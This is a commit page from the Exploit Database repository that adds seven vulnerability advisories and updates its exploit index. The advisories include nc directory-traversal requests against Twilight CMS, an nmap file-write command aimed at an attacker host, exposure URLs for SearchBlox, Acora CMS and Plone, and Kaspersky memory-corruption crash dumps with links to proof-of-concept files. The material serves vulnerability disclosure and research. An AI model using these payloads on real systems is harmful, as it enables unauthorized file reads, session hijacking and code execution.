DB: 2015-11-18
7 new exploits
This commit is contained in:
Offensive Security
parent
ab27bce7a8
commit
95a1b072fe
8 changed files with 202 additions and 3 deletions
13
files.csv
13
files.csv
|
|
@ -32058,7 +32058,7 @@ id,file,description,date,author,platform,type,port
|
|||
35575,platforms/php/webapps/35575.txt,"PrestaShop 1.3.6 - 'cms.php' Remote File Include Vulnerability",2011-04-08,KedAns-Dz,php,webapps,0
|
||||
35576,platforms/asp/webapps/35576.txt,"Omer Portal 3.220060425 - 'arama_islem.asp' Cross-Site Scripting Vulnerability",2011-04-07,"kurdish hackers team",asp,webapps,0
|
||||
35577,platforms/php/webapps/35577.txt,"vtiger CRM 5.2.1 - 'vtigerservice.php' Cross-Site Scripting Vulnerability",2011-04-07,"AutoSec Tools",php,webapps,0
|
||||
35578,platforms/php/webapps/35578.sh,"Cacti Superlinks Plugin 1.4-2 RCE(LFI) via SQL Injection Exploit",2014-12-19,Wireghoul,php,webapps,0
|
||||
35578,platforms/php/webapps/35578.sh,"Cacti Superlinks Plugin 1.4-2 - RCE (LFI) via SQL Injection Exploit",2014-12-19,Wireghoul,php,webapps,0
|
||||
35579,platforms/php/webapps/35579.txt,"miniBB 3.1 - Blind SQL Injection",2014-12-19,"Kacper Szurek",php,webapps,80
|
||||
35580,platforms/linux/dos/35580.rb,"Ettercap 0.8.0-0.8.1 - Multiple Denial of Service Vulnerabilities",2014-12-19,"Nick Sampanis",linux,dos,0
|
||||
35581,platforms/linux/remote/35581.rb,"Varnish Cache CLI Interface - Remote Code Execution",2014-12-19,"Patrick Webster",linux,remote,6082
|
||||
|
|
@ -34913,8 +34913,8 @@ id,file,description,date,author,platform,type,port
|
|||
38633,platforms/multiple/remote/38633.pl,"Intelligent Platform Management Interface Information Disclosure Vulnerability",2013-07-02,"Dan Farmer",multiple,remote,0
|
||||
38634,platforms/ios/remote/38634.txt,"Air Drive Plus Multiple Input Vallidation Vulnerabilities",2013-07-09,"Benjamin Kunz Mejri",ios,remote,0
|
||||
38635,platforms/php/webapps/38635.txt,"iVote 'details.php' SQL Injection Vulnerability",2013-07-10,"Ashiyane Digital Security Team",php,webapps,0
|
||||
38636,platforms/multiple/remote/38636.txt,"Cryptocat Chrome Extension 'img/keygen.gif' File Information Disclosure Vulnerability",2012-11-07,"Mario Heiderich",multiple,remote,0
|
||||
38637,platforms/multiple/remote/38637.txt,"Cryptocat Arbitrary Script Injection Vulnerability",2015-11-07,"Mario Heiderich",multiple,remote,0
|
||||
38636,platforms/multiple/remote/38636.txt,"Cryptocat 2.0.21 Chrome Extension - 'img/keygen.gif' File Information Disclosure Vulnerability",2012-11-07,"Mario Heiderich",multiple,remote,0
|
||||
38637,platforms/multiple/remote/38637.txt,"Cryptocat 2.0.22 - Arbitrary Script Injection Vulnerability",2012-11-07,"Mario Heiderich",multiple,remote,0
|
||||
38638,platforms/php/webapps/38638.txt,"Mintboard Multiple Cross Site Scripting Vulnerabilities",2013-07-10,"Canberk BOLAT",php,webapps,0
|
||||
38639,platforms/php/webapps/38639.txt,"miniBB SQL Injection and Multiple Cross Site Scripting Vulnerabilities",2013-07-11,Netsparker,php,webapps,0
|
||||
38640,platforms/multiple/webapps/38640.rb,"OpenSSL Alternative Chains Certificate Forgery",2015-11-05,"Ramon de C Valle",multiple,webapps,0
|
||||
|
|
@ -35006,3 +35006,10 @@ id,file,description,date,author,platform,type,port
|
|||
38732,platforms/php/remote/38732.rb,"Idera Up.Time Monitoring Station 7.0 post2file.php Arbitrary File Upload",2015-11-16,metasploit,php,remote,9999
|
||||
38733,platforms/php/remote/38733.rb,"Idera Up.Time Monitoring Station 7.4 post2file.php Arbitrary File Upload",2015-11-16,metasploit,php,remote,9999
|
||||
38734,platforms/windows/dos/38734.txt,"Kaspersky Antivirus - Certificate Handling Path Traversal",2015-11-16,"Google Security Research",windows,dos,0
|
||||
38735,platforms/windows/dos/38735.txt,"Kaspersky Antivirus - DEX File Format Memory Corruption",2015-11-16,"Google Security Research",windows,dos,0
|
||||
38736,platforms/windows/dos/38736.txt,"Kaspersky Antivirus - ZIP File Format Use-After-Free Vulnerability",2015-11-16,"Google Security Research",windows,dos,0
|
||||
38737,platforms/php/webapps/38737.txt,"Twilight CMS DeWeS Web Server Directory Traversal Vulnerability",2013-08-21,"High-Tech Bridge",php,webapps,0
|
||||
38738,platforms/python/webapps/38738.txt,"Plone 'in_portal.py' <= 4.1.3 Session Hijacking Vulnerability",2013-07-31,"Cyrill Bannwart",python,webapps,0
|
||||
38739,platforms/java/webapps/38739.txt,"SearchBlox Multiple Information Disclosure Vulnerabilities",2013-08-23,"Ricky Roane Jr",java,webapps,0
|
||||
38740,platforms/php/webapps/38740.txt,"cm3 Acora CMS 'top.aspx' Information Disclosure Vulnerability",2013-08-26,"Pedro Andujar",php,webapps,0
|
||||
38741,platforms/linux/remote/38741.txt,"Nmap Arbitrary File Write Vulnerability",2013-08-06,"Piotr Duszynski",linux,remote,0
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
9
platforms/java/webapps/38739.txt
Executable file
9
platforms/java/webapps/38739.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/61974/info
|
||||
|
||||
SearchBlox is prone to multiple information-disclosure vulnerabilities.
|
||||
|
||||
Attackers can exploit these issues to obtain sensitive information that may aid in launching further attacks.
|
||||
|
||||
SearchBlox 7.4 Build 1 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/searchblox/servlet/CollectionListServlet?action=getList&orderBy=colName&direction=asc
|
||||
9
platforms/linux/remote/38741.txt
Executable file
9
platforms/linux/remote/38741.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/62024/info
|
||||
|
||||
Nmap is prone to an arbitrary file-write vulnerability.
|
||||
|
||||
An attacker can exploit this issue to write arbitrary files with the permissions of the user running the nmap client. This will allow the attacker to fully compromise the affected machine.
|
||||
|
||||
Nmap 6.25 is vulnerable; other versions may also be affected.
|
||||
|
||||
nmap --script domino-enum-passwords -p 80 <evil_host> --script-args domino-enum-passwords.username='patrik karlsson',domino-enum-passwords.password=secret,domino-enum-passwords.idpath='/tmp'
|
||||
14
platforms/php/webapps/38737.txt
Executable file
14
platforms/php/webapps/38737.txt
Executable file
|
|
@ -0,0 +1,14 @@
|
|||
source: http://www.securityfocus.com/bid/61906/info
|
||||
|
||||
Twilight CMS is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.
|
||||
|
||||
Remote attackers can use specially crafted requests with directory-traversal sequences ('../') to retrieve arbitrary files in the context of the application.
|
||||
|
||||
Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.
|
||||
|
||||
Twilight CMS 0.4.2 is vulnerable; other versions may also be affected.
|
||||
|
||||
nc [www.example.com] 80 GET /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini HTTP/1.1
|
||||
|
||||
nc [www.example.com] 80 GET demosite/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/TwilightCMS/Sites/company_site/Data/user list.dat HTTP/1.1
|
||||
|
||||
9
platforms/php/webapps/38740.txt
Executable file
9
platforms/php/webapps/38740.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/62010/info
|
||||
|
||||
cm3 Acora CMS is prone to an information-disclosure vulnerability.
|
||||
|
||||
Successful exploits of this issue lead to disclosure of sensitive information which may aid in launching further attacks.
|
||||
|
||||
http://www.example.com/AcoraCMS/Admin/top.aspx
|
||||
|
||||
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTQ4NjIxMDUxOQ9kFgJmD2QWAgIDD2QWAgIBD2QWCmYPFgIeBFRleHQFJERpZ2l0YWxTZWMgTmV0d29ya3MgV2Vic2l0ZWQCAQ8WAh8ABQpFbnRlcnByaXNlZAICDw8WAh8ABQt2NS40LjUvNGEtY2RkAgMPFgIfAAUgQW5vbnltb3VzIChQdWJsaWMgSW50ZXJuZXQgVXNlcilkAgQPDxYCHgdWaXNpYmxlaGRkZIL9u8OSlqqnBHGwtssOBV5lciAoCg" /></div>
|
||||
9
platforms/python/webapps/38738.txt
Executable file
9
platforms/python/webapps/38738.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/61964/info
|
||||
|
||||
Plone is prone to a session-hijacking vulnerability.
|
||||
|
||||
An attacker can exploit this issue to hijack user sessions and gain unauthorized access to the affected application.
|
||||
|
||||
Note: This issue was previously discussed in the BID 61544 (Plone Multiple Remote Security Vulnerabilities), but has been moved to its own record to better document it.
|
||||
|
||||
https://www.example.com/acl_users/credentials_cookie_auth/require_login?next=+https%3A//www.csnc.ch
|
||||
39
platforms/windows/dos/38735.txt
Executable file
39
platforms/windows/dos/38735.txt
Executable file
|
|
@ -0,0 +1,39 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=529
|
||||
|
||||
The attached testcase was found by fuzzing DEX files, and results in a heap overflow with a wild memcpy. Note that Kaspersky catch exceptions and continue execution, so running into unmapped pages doesn't terminate the process, this should make exploitation quite realistic.
|
||||
|
||||
(bb8.ac0): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
eax=0c0b2074 ebx=ffffffff ecx=3ffd419c edx=00000003 esi=0c161a01 edi=0c170000
|
||||
eip=72165157 esp=046ceed8 ebp=046ceee0 iopl=0 nv up ei pl nz na po nc
|
||||
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
|
||||
avengine_dll!ekaGetObjectFactory+0x51537:
|
||||
72165157 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
|
||||
0:023> dd edi
|
||||
0c170000 ???????? ???????? ???????? ????????
|
||||
0c170010 ???????? ???????? ???????? ????????
|
||||
0c170020 ???????? ???????? ???????? ????????
|
||||
0c170030 ???????? ???????? ???????? ????????
|
||||
0c170040 ???????? ???????? ???????? ????????
|
||||
0c170050 ???????? ???????? ???????? ????????
|
||||
0c170060 ???????? ???????? ???????? ????????
|
||||
0c170070 ???????? ???????? ???????? ????????
|
||||
0:023> dd esi
|
||||
0c161a01 00000000 00000000 00000000 00000000
|
||||
0c161a11 00000000 00000000 00000000 00000000
|
||||
0c161a21 00000000 00000000 00000000 00000000
|
||||
0c161a31 00000000 00000000 00000000 00000000
|
||||
0c161a41 00000000 00000000 00000000 00000000
|
||||
0c161a51 00000000 00000000 00000000 00000000
|
||||
0c161a61 00000000 00000000 00000000 00000000
|
||||
0c161a71 00000000 00000000 00000000 00000000
|
||||
0:023> kvn1
|
||||
# ChildEBP RetAddr Args to Child
|
||||
00 046ceee0 15c01af7 0c0c0674 0c0b2075 ffffffff avengine_dll!ekaGetObjectFactory+0x51537
|
||||
|
||||
This vulnerability is exploitable for remote code execution as NT AUTHORITY\SYSTEM.
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/38735.zip
|
||||
|
||||
103
platforms/windows/dos/38736.txt
Executable file
103
platforms/windows/dos/38736.txt
Executable file
|
|
@ -0,0 +1,103 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=521
|
||||
|
||||
Fuzzing the ZIP file format found multiple memory corruption issues, some of which are obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM on any system with Kaspersky Antivirus.
|
||||
|
||||
This testcase should fault by jumping to an unmapped address
|
||||
|
||||
(aac.fa4): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
eax=cccccccc ebx=00000000 ecx=01bc2974 edx=73a10002 esi=02e0a598 edi=5b2266bb
|
||||
eip=cccccccc esp=05dde330 ebp=05dde354 iopl=0 nv up ei pl nz na po nc
|
||||
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
|
||||
cccccccc ?? ???
|
||||
|
||||
# where did that come from?
|
||||
|
||||
0:036> kvn 2
|
||||
# ChildEBP RetAddr Args to Child
|
||||
00 05dde32c 739fd847 02e0a598 05dde370 00000000 0xcccccccc
|
||||
01 05dde354 739fe438 01bc2974 002266bb 05dde370 prcore!PragueUnload+0x2687
|
||||
|
||||
0:036> ub 739fd847 L9
|
||||
prcore!PragueUnload+0x2673:
|
||||
739fd833 8b4d08 mov ecx,dword ptr [ebp+8]
|
||||
739fd836 8b7104 mov esi,dword ptr [ecx+4]
|
||||
739fd839 8975ec mov dword ptr [ebp-14h],esi
|
||||
739fd83c 85f6 test esi,esi
|
||||
739fd83e 740a je prcore!PragueUnload+0x268a (739fd84a)
|
||||
739fd840 8b16 mov edx,dword ptr [esi]
|
||||
739fd842 8b02 mov eax,dword ptr [edx]
|
||||
739fd844 56 push esi
|
||||
739fd845 ffd0 call eax
|
||||
|
||||
# that pointer is in edx
|
||||
|
||||
0:088> dd edx
|
||||
739a0002 cccccccc cccccccc cccccccc 8b55cccc
|
||||
739a0012 77e95dec ccffffff cccccccc 8b55cccc
|
||||
739a0022 0c4d8bec 8b04418b 42390855 501a7504
|
||||
739a0032 0a8b018b d3e85150 83fffff9 c0850cc4
|
||||
739a0042 01b80775 5d000000 5dc033c3 8b55ccc3
|
||||
739a0052 0c4d8bec 8b04418b 42390855 501a7504
|
||||
739a0062 0a8b018b 63e85150 83fffff9 c0850cc4
|
||||
739a0072 01b80775 5d000000 5dc033c3 6c83ccc3
|
||||
|
||||
# So what is that?
|
||||
|
||||
0:088> !address edx
|
||||
Usage: Image
|
||||
Base Address: 73971000
|
||||
End Address: 739aa000
|
||||
Region Size: 00039000
|
||||
State: 00001000 MEM_COMMIT
|
||||
Protect: 00000020 PAGE_EXECUTE_READ
|
||||
Type: 01000000 MEM_IMAGE
|
||||
Allocation Base: 73970000
|
||||
Allocation Protect: 00000080 PAGE_EXECUTE_WRITECOPY
|
||||
Image Path: C:\Program Files (x86)\Kaspersky Lab\Kaspersky Internet Security 15.0.2\prcore.dll
|
||||
Module Name: prcore
|
||||
Loaded Image Name: C:\Program Files (x86)\Kaspersky Lab\Kaspersky Internet Security 15.0.2\prcore.dll
|
||||
Mapped Image Name:
|
||||
0:088> !chkimg prcore
|
||||
0 errors : prcore
|
||||
|
||||
# Hmm, so why is esi pointing there?
|
||||
|
||||
0:088> !address esi
|
||||
|
||||
Mapping file section regions...
|
||||
Mapping module regions...
|
||||
Mapping PEB regions...
|
||||
Mapping TEB and stack regions...
|
||||
Mapping heap regions...
|
||||
Mapping page heap regions...
|
||||
Mapping other regions...
|
||||
Mapping stack trace database regions...
|
||||
Mapping activation context regions...
|
||||
|
||||
|
||||
Usage: Heap
|
||||
Base Address: 02a00000
|
||||
End Address: 02c33000
|
||||
Region Size: 00233000
|
||||
State: 00001000 MEM_COMMIT
|
||||
Protect: 00000004 PAGE_READWRITE
|
||||
Type: 00020000 MEM_PRIVATE
|
||||
Allocation Base: 02a00000
|
||||
Allocation Protect: 00000004 PAGE_READWRITE
|
||||
More info: heap owning the address: !heap 0x4a0000
|
||||
More info: heap segment
|
||||
More info: heap entry containing the address: !heap -x 0x2bf4760
|
||||
|
||||
|
||||
0:088> !heap -x 0x2bf4760
|
||||
Entry User Heap Segment Size PrevSize Unused Flags
|
||||
-----------------------------------------------------------------------------
|
||||
02bf4758 02bf4760 004a0000 02b00ac8 60 - 0 LFH;free
|
||||
|
||||
# So looks like an exploitable use after free vulnerability.
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/38736.zip
|
||||
|
||||
Loading…
Add table
Reference in a new issue